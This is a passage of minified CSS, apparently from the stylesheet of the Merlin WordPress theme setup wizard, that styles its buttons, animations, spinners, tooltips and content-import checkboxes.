scale(1);-webkit-transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out,-webkit-filter 300ms ease-in-out;-webkit-filter:blur(2px);filter:blur(2px)}}.merlin__content--welcome{-webkit-animation:animation 1000ms linear both 200ms;animation:animation 1000ms linear both 200ms;opacity:0;-webkit-transition:opacity 400ms cubic-bezier(0.694,0,0.335,1);transition:opacity 400ms cubic-bezier(0.694,0,0.335,1)}body.loaded .merlin__content--welcome{opacity:1}@media screen and (prefers-reduced-motion: reduce){.merlin__content--welcome{-webkit-animation:none;animation:none;opacity:1}}@-webkit-keyframes animation{0%{-webkit-transform:matrix3d(0.5,0,0,0,0,0.5,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.5,0,0,0,0,0.5,0,0,0,0,1,0,0,0,0,1)}4.5%{-webkit-transform:matrix3d(0.718,0,0,0,0,0.743,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.718,0,0,0,0,0.743,0,0,0,0,1,0,0,0,0,1)}5.51%{-webkit-transform:matrix3d(0.762,0,0,0,0,0.794,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.762,0,0,0,0,0.794,0,0,0,0,1,0,0,0,0,1)}9.01%{-webkit-transform:matrix3d(0.888,0,0,0,0,0.94,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.888,0,0,0,0,0.94,0,0,0,0,1,0,0,0,0,1)}11.01%{-webkit-transform:matrix3d(0.941,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.941,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1)}13.51%{-webkit-transform:matrix3d(0.989,0,0,0,0,1.044,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.989,0,0,0,0,1.044,0,0,0,0,1,0,0,0,0,1)}16.52%{-webkit-transform:matrix3d(1.024,0,0,0,0,1.067,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.024,0,0,0,0,1.067,0,0,0,0,1,0,0,0,0,1)}17.92%{-webkit-transform:matrix3d(1.033,0,0,0,0,1.07,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.033,0,0,0,0,1.07,0,0,0,0,1,0,0,0,0,1)}21.92%{-webkit-transform:matrix3d(1.042,0,0,0,0,1.057,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.042,0,0,0,0,1.057,0,0,0,0,1,0,0,0,0,1)}29.03%{-webkit-transform:matrix3d(1.028,0,0,0,0,1.016,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.028,0,0,0,0,1.016,0,0,0,0,1,0,0,0,0,1)}34.63%{-webkit-transform:matrix3d(1.013,0,0,0,0,0.997,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.013,0,0,0,0,0.997,0,0,0,0,1,0,0,0,0,1)}36.24%{-webkit-transform:matrix3d(1.009,0,0,0,0,0.994,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.009,0,0,0,0,0.994,0,0,0,0,1,0,0,0,0,1)}40.14%{-webkit-transform:matrix3d(1.003,0,0,0,0,0.992,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.003,0,0,0,0,0.992,0,0,0,0,1,0,0,0,0,1)}50.55%{-webkit-transform:matrix3d(0.997,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.997,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1)}62.36%{-webkit-transform:matrix3d(0.999,0,0,0,0,1.001,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.999,0,0,0,0,1.001,0,0,0,0,1,0,0,0,0,1)}79.08%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}84.68%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}100%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}}@keyframes animation{0%{-webkit-transform:matrix3d(0.5,0,0,0,0,0.5,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.5,0,0,0,0,0.5,0,0,0,0,1,0,0,0,0,1)}4.5%{-webkit-transform:matrix3d(0.718,0,0,0,0,0.743,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.718,0,0,0,0,0.743,0,0,0,0,1,0,0,0,0,1)}5.51%{-webkit-transform:matrix3d(0.762,0,0,0,0,0.794,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.762,0,0,0,0,0.794,0,0,0,0,1,0,0,0,0,1)}9.01%{-webkit-transform:matrix3d(0.888,0,0,0,0,0.94,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.888,0,0,0,0,0.94,0,0,0,0,1,0,0,0,0,1)}11.01%{-webkit-transform:matrix3d(0.941,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.941,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1)}13.51%{-webkit-transform:matrix3d(0.989,0,0,0,0,1.044,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.989,0,0,0,0,1.044,0,0,0,0,1,0,0,0,0,1)}16.52%{-webkit-transform:matrix3d(1.024,0,0,0,0,1.067,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.024,0,0,0,0,1.067,0,0,0,0,1,0,0,0,0,1)}17.92%{-webkit-transform:matrix3d(1.033,0,0,0,0,1.07,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.033,0,0,0,0,1.07,0,0,0,0,1,0,0,0,0,1)}21.92%{-webkit-transform:matrix3d(1.042,0,0,0,0,1.057,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.042,0,0,0,0,1.057,0,0,0,0,1,0,0,0,0,1)}29.03%{-webkit-transform:matrix3d(1.028,0,0,0,0,1.016,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.028,0,0,0,0,1.016,0,0,0,0,1,0,0,0,0,1)}34.63%{-webkit-transform:matrix3d(1.013,0,0,0,0,0.997,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.013,0,0,0,0,0.997,0,0,0,0,1,0,0,0,0,1)}36.24%{-webkit-transform:matrix3d(1.009,0,0,0,0,0.994,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.009,0,0,0,0,0.994,0,0,0,0,1,0,0,0,0,1)}40.14%{-webkit-transform:matrix3d(1.003,0,0,0,0,0.992,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1.003,0,0,0,0,0.992,0,0,0,0,1,0,0,0,0,1)}50.55%{-webkit-transform:matrix3d(0.997,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.997,0,0,0,0,0.998,0,0,0,0,1,0,0,0,0,1)}62.36%{-webkit-transform:matrix3d(0.999,0,0,0,0,1.001,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(0.999,0,0,0,0,1.001,0,0,0,0,1,0,0,0,0,1)}79.08%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}84.68%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}100%{-webkit-transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1);transform:matrix3d(1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1)}}@-webkit-keyframes small_pulse{0%{-webkit-transform:scale(1);transform:scale(1)}15%{-webkit-transform:scale(0.95);transform:scale(0.95)}100%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes small_pulse{0%{-webkit-transform:scale(1);transform:scale(1)}15%{-webkit-transform:scale(0.95);transform:scale(0.95)}100%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes errorShake{0%{-webkit-transform:translate(8px);transform:translate(8px)}20%{-webkit-transform:translate(-8px);transform:translate(-8px)}40%{-webkit-transform:translate(4px);transform:translate(4px)}60%{-webkit-transform:translate(-4px);transform:translate(-4px)}80%{-webkit-transform:translate(2px);transform:translate(2px)}100%{-webkit-transform:translate(0px);transform:translate(0px)}}@keyframes errorShake{0%{-webkit-transform:translate(8px);transform:translate(8px)}20%{-webkit-transform:translate(-8px);transform:translate(-8px)}40%{-webkit-transform:translate(4px);transform:translate(4px)}60%{-webkit-transform:translate(-4px);transform:translate(-4px)}80%{-webkit-transform:translate(2px);transform:translate(2px)}100%{-webkit-transform:translate(0px);transform:translate(0px)}}.merlin__button{background:#fff;border:0;border-radius:4px;color:#7d8183;cursor:pointer;display:inline-block;font-size:15px;font-weight:600;overflow:hidden;padding:8px 18px 9px;position:relative;text-align:center;text-decoration:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:color 150ms cubic-bezier(0.694,0,0.335,1),background 150ms cubic-bezier(0.694,0,0.335,1);transition:color 150ms cubic-bezier(0.694,0,0.335,1),background 150ms cubic-bezier(0.694,0,0.335,1)}@media screen and (prefers-reduced-motion: reduce){.merlin__button{-webkit-transition:color 50ms ease-in-out,background 50ms ease-in-out;transition:color 50ms ease-in-out,background 50ms ease-in-out}}.merlin__button:hover{background:#f1f1f1}.merlin__button:hover .chevron::after,.merlin__button:hover .chevron::before{background:#0073aa}.merlin__button:active{background:#ebebeb}.merlin__button span{display:inline-block}.merlin__button--colorchange{-webkit-animation:colorchange 800ms infinite alternate;animation:colorchange 800ms infinite alternate}.merlin__button--fullwidth{display:block;font-size:14px;margin:0 auto;padding-bottom:10px;padding-top:9px;width:60%;z-index:999}.merlin__button--next,.merlin__button--skip{bottom:12px;position:absolute}.merlin__button--next{color:#0073aa;right:12px}.merlin__button--next:hover,.merlin__button--next:active{color:#005d8a}.merlin__button--skip{left:12px}.merlin__button--skip:hover,.merlin__button--skip:active{color:#444}.merlin__button--blue{background:#0073aa;color:#fff}.merlin__button--blue:hover,.merlin__button--blue:active{background:#005d8a;color:#fff}.merlin__button--knockout{background:transparent;color:#7d8183;font-size:14px;font-weight:500;margin-left:-10px;padding-right:25px;padding-top:10px;-webkit-transition:color 150ms ease;transition:color 150ms ease}.merlin__button--knockout:hover,.merlin__button--knockout:active{background:transparent;color:#0073aa}.merlin__button--no-chevron{margin-left:0;margin-top:3px;padding-right:18px}.merlin__button--loading:hover,.merlin__button--loading:active{background:transparent}.merlin__button--loading .merlin__button--loading__text{-webkit-transition:opacity 400ms cubic-bezier(0.18,1,0.21,1) 400ms,-webkit-filter 4100ms cubic-bezier(0.18,1,0.21,1);transition:opacity 400ms cubic-bezier(0.18,1,0.21,1) 400ms,-webkit-filter 4100ms cubic-bezier(0.18,1,0.21,1);transition:opacity 400ms cubic-bezier(0.18,1,0.21,1) 400ms,filter 4100ms cubic-bezier(0.18,1,0.21,1);transition:opacity 400ms cubic-bezier(0.18,1,0.21,1) 400ms,filter 4100ms cubic-bezier(0.18,1,0.21,1),-webkit-filter 4100ms cubic-bezier(0.18,1,0.21,1)}.merlin__button--loading__spinner{left:50%;margin-left:-12px;margin-top:-11px;opacity:0;position:absolute;top:50%;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);-webkit-transition:opacity 100ms ease,-webkit-transform 600ms cubic-bezier(0.18,1,0.21,1) 200ms;transition:opacity 100ms ease,-webkit-transform 600ms cubic-bezier(0.18,1,0.21,1) 200ms;transition:opacity 100ms ease,transform 600ms cubic-bezier(0.18,1,0.21,1) 200ms;transition:opacity 100ms ease,transform 600ms cubic-bezier(0.18,1,0.21,1) 200ms,-webkit-transform 600ms cubic-bezier(0.18,1,0.21,1) 200ms}.merlin__button--loading .merlin__button--loading__text{opacity:0;-webkit-filter:blur(100px);filter:blur(100px)}.merlin__button--loading .merlin__button--loading__spinner{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.merlin__button--external::after{content:"âž";display:inline-block!important;font-size:1em;margin-top:.05em;opacity:0;padding-left:.25em;position:absolute;-webkit-transform:translateX(-5px);-ms-transform:translateX(-5px);transform:translateX(-5px);-webkit-transition:opacity .2s cubic-bezier(0,0.25,0.08,1),-webkit-transform .2s cubic-bezier(0,0.25,0.08,1);transition:opacity .2s cubic-bezier(0,0.25,0.08,1),-webkit-transform .2s cubic-bezier(0,0.25,0.08,1);transition:transform .2s cubic-bezier(0,0.25,0.08,1),opacity .2s cubic-bezier(0,0.25,0.08,1);transition:transform .2s cubic-bezier(0,0.25,0.08,1),opacity .2s cubic-bezier(0,0.25,0.08,1),-webkit-transform .2s cubic-bezier(0,0.25,0.08,1)}.merlin__button--external:hover::after{opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}#skip{display:inline-block;opacity:1;visibility:visible;z-index:1}#close{display:none;opacity:0;visibility:hidden;z-index:-1}@-webkit-keyframes colorchange{0%{background:#fff}100%{background:#f1f1f1}}@keyframes colorchange{0%{background:#fff}100%{background:#f1f1f1}}.chevron{display:block;position:absolute;right:10px;top:58%;-webkit-transition:top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);transition:top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);transition:transform 900ms cubic-bezier(0.86,0,0.07,1),transform-origin 900ms cubic-bezier(0.86,0,0.07,1),top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1);transition:transform 900ms cubic-bezier(0.86,0,0.07,1),transform-origin 900ms cubic-bezier(0.86,0,0.07,1),top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1),-ms-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);z-index:1;-webkit-backface-visibility:hidden;backface-visibility:hidden}.chevron::after,.chevron::before{background:#7d8183;border-radius:2px;content:" ";display:block;height:2px;position:absolute;top:50%;-webkit-transition:top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);transition:top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);transition:transform 900ms cubic-bezier(0.86,0,0.07,1),transform-origin 900ms cubic-bezier(0.86,0,0.07,1),top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1);transition:transform 900ms cubic-bezier(0.86,0,0.07,1),transform-origin 900ms cubic-bezier(0.86,0,0.07,1),top 900ms cubic-bezier(0.86,0,0.07,1),background 150ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 900ms cubic-bezier(0.86,0,0.07,1),-webkit-transform-origin 900ms cubic-bezier(0.86,0,0.07,1),-ms-transform-origin 900ms cubic-bezier(0.86,0,0.07,1);width:10px;z-index:1;-webkit-backface-visibility:hidden;backface-visibility:hidden}.chevron::before{right:50%;-webkit-transform:rotate(40deg) scaleY(1);-ms-transform:rotate(40deg) scaleY(1);transform:rotate(40deg) scaleY(1);-webkit-transform-origin:100% 100%;-ms-transform-origin:100% 100%;transform-origin:100% 100%}.chevron::after{left:50%;-webkit-transform:rotate(-40deg) scaleY(1);-ms-transform:rotate(-40deg) scaleY(1);transform:rotate(-40deg) scaleY(1);-webkit-transform-origin:0 100%;-ms-transform-origin:0 100%;transform-origin:0 100%}.merlin__drawer--open .chevron{top:44%}.merlin__drawer--open .chevron::before{-webkit-transform:rotate(-40deg) scaleY(1);-ms-transform:rotate(-40deg) scaleY(1);transform:rotate(-40deg) scaleY(1);-webkit-transform-origin:100% 0;-ms-transform-origin:100% 0;transform-origin:100% 0}.merlin__drawer--open .chevron::after{-webkit-transform:rotate(40deg) scaleY(1);-ms-transform:rotate(40deg) scaleY(1);transform:rotate(40deg) scaleY(1);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0}.merlin-spinner{-webkit-transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 50ms;transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 50ms;width:23px}.merlin-spinner:before{content:"";display:block;padding-top:100%}.exiting .merlin-spinner{opacity:0}.merlin-spinner__svg{-webkit-animation:spinnerRotate 2s linear infinite;animation:spinnerRotate 2s linear infinite;bottom:0;height:100%;left:0;margin:auto;position:absolute;right:0;top:0;-webkit-transform-origin:center center;-ms-transform-origin:center center;transform-origin:center center;width:100%}.merlin-spinner__svg .path{-webkit-animation:spinnerDash 1.5s ease-in-out infinite,spinnerColor 6s ease-in-out infinite;animation:spinnerDash 1.5s ease-in-out infinite,spinnerColor 6s ease-in-out infinite;stroke-dasharray:1,200;stroke-dashoffset:0;stroke-linecap:round}.merlin__select-spinner{display:none;height:26px;left:auto;right:-29px;top:0;width:26px}@-webkit-keyframes spinnerRotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinnerRotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes spinnerDash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:89,200;stroke-dashoffset:-35px}100%{stroke-dasharray:89,200;stroke-dashoffset:-124px}}@keyframes spinnerDash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:89,200;stroke-dashoffset:-35px}100%{stroke-dasharray:89,200;stroke-dashoffset:-124px}}@-webkit-keyframes spinnerColor{100%,0%{stroke:#0073aa}40%{stroke:#00ace1}66%{stroke:#0073aa}80%,90%{stroke:#00ace1}}@keyframes spinnerColor{100%,0%{stroke:#0073aa}40%{stroke:#00ace1}66%{stroke:#0073aa}80%,90%{stroke:#00ace1}}[class*="hint--"]{display:inline-block;position:relative}[class*="hint--"]:before,[class*="hint--"]:after{font-weight:400;opacity:0;pointer-events:none;position:absolute;text-transform:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:100ms ease;transition:100ms ease;-webkit-transition-delay:0;transition-delay:0;visibility:hidden;z-index:1000000}[class*="hint--"]:hover:before,[class*="hint--"]:hover:after{opacity:1;visibility:visible}[class*="hint--"]:before{background:transparent;border:6px solid transparent;content:"";position:absolute;z-index:1000001}[class*="hint--"]:after{background:#383838;border-radius:2px;-webkit-box-shadow:3px 3px 6px rgba(0,0,0,0.1);box-shadow:3px 3px 6px rgba(0,0,0,0.1);color:#fff;font-size:11px;line-height:11px;padding:5px 8px 6px 9px;white-space:nowrap}[class*="hint--"][aria-label]:after{content:attr(aria-label)}[class*="hint--"][data-hint]:after{content:attr(data-hint)}[aria-label=""]:before,[aria-label=""]:after,[data-hint=""]:before,[data-hint=""]:after{display:none!important}.hint--top:before{border-top-color:#383838;margin-bottom:-11px}.hint--top:before,.hint--top:after{bottom:103%;left:50%}.hint--top:before{left:calc(50% - 6px)}.hint--top:after{-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.hint--top:hover:after{-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.hint--right:before{border-right-color:#383838;margin-bottom:-6px;margin-left:-11px}.hint--right:after{margin-bottom:-14px}.hint--right:before,.hint--right:after{bottom:50%;left:100%}.hint--right:hover:before{-webkit-transform:translateX(8px);-ms-transform:translateX(8px);transform:translateX(8px)}.hint--right:hover:after{-webkit-transform:translateX(8px);-ms-transform:translateX(8px);transform:translateX(8px)}.return-to-dashboard{color:#7d8183;display:block;font-size:13px;margin-top:1em;padding:1em;padding-bottom:0;text-align:center;text-decoration:none;-webkit-transition:color 150ms ease,opacity 300ms cubic-bezier(0.694,0,0.335,1) 150ms;transition:color 150ms ease,opacity 300ms cubic-bezier(0.694,0,0.335,1) 150ms}@media screen and (prefers-reduced-motion: reduce){.return-to-dashboard{opacity:1!important}}.merlin__body--welcome .return-to-dashboard{opacity:0}.merlin__body--welcome.loaded .return-to-dashboard{opacity:1}.return-to-dashboard.ignore{margin-top:.3em;padding:0}body:not(.merlin__body--welcome) .return-to-dashboard.ignore{opacity:0;pointer-events:none}.return-to-dashboard:hover{color:#0073aa}.merlin__drawer{margin:0;max-height:0;opacity:0;overflow:hidden;pointer-events:none;-webkit-transition:padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 600ms,max-height 700ms cubic-bezier(0.33,0,0.2,1) 0ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1);transition:padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 600ms,max-height 700ms cubic-bezier(0.33,0,0.2,1) 0ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1);transition:transform 600ms cubic-bezier(0.75,0,0.25,1),padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 600ms,max-height 700ms cubic-bezier(0.33,0,0.2,1) 0;transition:transform 600ms cubic-bezier(0.75,0,0.25,1),padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 600ms,max-height 700ms cubic-bezier(0.33,0,0.2,1) 0ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1)}.merlin__drawer li{margin:0;opacity:0;padding:4px 0;position:relative;text-align:center;-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0);-webkit-transition:.25s ease;transition:.25s ease}.merlin__drawer li:last-child{padding-bottom:0}.merlin__drawer li:nth-of-type(10){-webkit-transition-delay:.2s;transition-delay:.2s}.merlin__drawer li:nth-of-type(9){-webkit-transition-delay:.18s;transition-delay:.18s}.merlin__drawer li:nth-of-type(8){-webkit-transition-delay:.16s;transition-delay:.16s}.merlin__drawer li:nth-of-type(7){-webkit-transition-delay:.14s;transition-delay:.14s}.merlin__drawer li:nth-of-type(6){-webkit-transition-delay:.12s;transition-delay:.12s}.merlin__drawer li:nth-of-type(5){-webkit-transition-delay:.1s;transition-delay:.1s}.merlin__drawer li:nth-of-type(4){-webkit-transition-delay:.08s;transition-delay:.08s}.merlin__drawer li:nth-of-type(3){-webkit-transition-delay:.06s;transition-delay:.06s}.merlin__drawer li:nth-of-type(2){-webkit-transition-delay:.04s;transition-delay:.04s}.merlin__drawer li:nth-of-type(1){-webkit-transition-delay:.02s;transition-delay:.02s}.merlin__drawer--open .merlin__drawer{max-height:400px;opacity:1;pointer-events:inherit;-webkit-transform:translateY(0%);-ms-transform:translateY(0%);transform:translateY(0%);-webkit-transition:padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 200ms,max-height 900ms cubic-bezier(0.33,0,0.2,1) 100ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1);transition:padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 200ms,max-height 900ms cubic-bezier(0.33,0,0.2,1) 100ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1);transition:transform 600ms cubic-bezier(0.75,0,0.25,1),padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 200ms,max-height 900ms cubic-bezier(0.33,0,0.2,1) 100ms;transition:transform 600ms cubic-bezier(0.75,0,0.25,1),padding 600ms cubic-bezier(0.75,0,0.25,1),opacity 300ms linear 200ms,max-height 900ms cubic-bezier(0.33,0,0.2,1) 100ms,-webkit-transform 600ms cubic-bezier(0.75,0,0.25,1)}.merlin__drawer--open .merlin__drawer li{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:.4s ease;transition:.4s ease}.merlin__drawer--open .merlin__drawer li:nth-of-type(1){-webkit-transition-delay:.15s;transition-delay:.15s}.merlin__drawer--open .merlin__drawer li:nth-of-type(2){-webkit-transition-delay:.3s;transition-delay:.3s}.merlin__drawer--open .merlin__drawer li:nth-of-type(3){-webkit-transition-delay:.45s;transition-delay:.45s}.merlin__drawer--open .merlin__drawer li:nth-of-type(4){-webkit-transition-delay:.6s;transition-delay:.6s}.merlin__drawer--open .merlin__drawer li:nth-of-type(5){-webkit-transition-delay:.75s;transition-delay:.75s}.merlin__drawer--open .merlin__drawer li:nth-of-type(6){-webkit-transition-delay:.9s;transition-delay:.9s}.merlin__drawer--open .merlin__drawer li:nth-of-type(7){-webkit-transition-delay:1.05s;transition-delay:1.05s}.merlin__drawer--open .merlin__drawer li:nth-of-type(8){-webkit-transition-delay:1.2s;transition-delay:1.2s}.merlin__drawer--open .merlin__drawer li:nth-of-type(9){-webkit-transition-delay:1.35s;transition-delay:1.35s}.merlin__drawer--open .merlin__drawer li:nth-of-type(10){-webkit-transition-delay:1.5s;transition-delay:1.5s}.merlin__drawer--open .merlin__button--next{-webkit-animation:colorchange 1s infinite alternate 1000ms;animation:colorchange 1s infinite alternate 1000ms}.merlin__drawer--open .merlin__button--loading{-webkit-animation:none;animation:none}.merlin__drawer--open #skip{display:none;opacity:0;visibility:hidden;z-index:-1}.merlin__drawer--open #close{display:inline-block;opacity:1;visibility:visible;z-index:1}.merlin__drawer--import-content{padding-top:3px}.merlin__drawer--import-content li{color:#7d8183;padding:2px 50px;text-align:left}.merlin__drawer--import-content li:hover span{color:#0073aa}.merlin__drawer--import-content label{cursor:pointer;display:inline-block;position:relative;width:100%}.merlin__drawer--import-content label span{-webkit-transition:color 100ms;transition:color 100ms}.merlin__drawer--import-content label i{background-color:transparent;border:2px solid #b2b7ba;border-radius:50%;display:inline-block;float:right;height:13px;margin-top:3px;position:relative;text-align:left;-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;-webkit-transition:border-color 100ms,background-color 100ms,-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);transition:border-color 100ms,background-color 100ms,transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89),-webkit-transform 350ms cubic-bezier(0.78,-1.22,0.17,1.89);width:13px}.merlin__drawer--import-content label i:before{background:#0073aa;border-radius:2px;content:"";height:2px;left:.2em;position:absolute;top:.4em;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:width 50ms ease 50ms;transition:width 50ms ease 50ms;width:0}.merlin__drawer--import-content label i:after{background:#0073aa;border-radius:2px;content:"";height:2px;left:4px;position:absolute;top:.67em;-webkit-transform:rotate(310deg);-ms-transform:rotate(310deg);transform:rotate(310deg);-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0;-webkit-transition:width 50ms ease;transition:width 50ms ease;width:0}.merlin__drawer--import-content label:hover i{border-color:#0073aa}.checkbox{display:none!important}.checkbox:checked + label.installing i{-webkit-animation:colorchangeInstalling 800ms infinite alternate;animation:colorchangeInstalling 800ms infinite alternate;background-color:#ffb900;border-color:#ffb900;-webkit-transition:background-color 400ms cubic-bezier(0.18,1,0.21,1),border-color 400ms cubic-bezier(0.18,1,0.21,1);transition:background-color 400ms cubic-bezier(0.18,1,0.21,1),border-color 400ms cubic-bezier(0.18,1,0.21,1)}.checkbox:checked + label.success i{-webkit-animation:popInSuccess 500ms forwards;animation:popInSuccess 500ms forwards;background-color:#46b450;border-color:#46b450;-webkit-transition:background-color 400ms cubic-bezier(0.18,1,0.21,1),border-color 400ms cubic-bezier(0.18,1,0.21,1);transition:background-color 400ms cubic-bezier(0.18,1,0.21,1),border-color 400ms cubic-bezier(0.18,1,0.21,1);-webkit-animation-fill-mode:both;animation-fill-mode:both}@media screen and (prefers-reduced-motion: reduce){.checkbox:checked + label.success i{-webkit-animation:none;animation:none;background:#46b450}}.checkbox:checked + label.error i{background-color:#d54e21;border-color:#d54e21;-webkit-transition:background-color 500ms cubic-bezier(0.18,1,0.21,1) 220ms,border-color 400ms cubic-bezier(0.18,1,0.21,1) 220ms;transition:background-color 500ms cubic-bezier(0.18,1,0.21,1) 220ms,border-color 400ms cubic-bezier(0.18,1,0.21,1) 220ms}.checkbox:checked + label i{background-color:#0073aa;border-color:#0073aa;-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}.checkbox:checked + label i:after{background:#fff;-webkit-transition:width 50ms ease 100ms;transition:width 50ms ease 100ms;width:9px}.checkbox:checked + label i:before{background:#fff;-webkit-transition:width 50ms ease 100ms;transition:width 50ms ease 100ms;width:5px}@-webkit-keyframes colorchangeInstalling{0%{background:#46b450;border-color:#46b450}100%{background:#8dd394;border-color:#8dd394}}@keyframes colorchangeInstalling{0%{background:#46b450;border-color:#46b450}100%{background:#8dd394;border-color:#8dd394}}@-webkit-keyframes 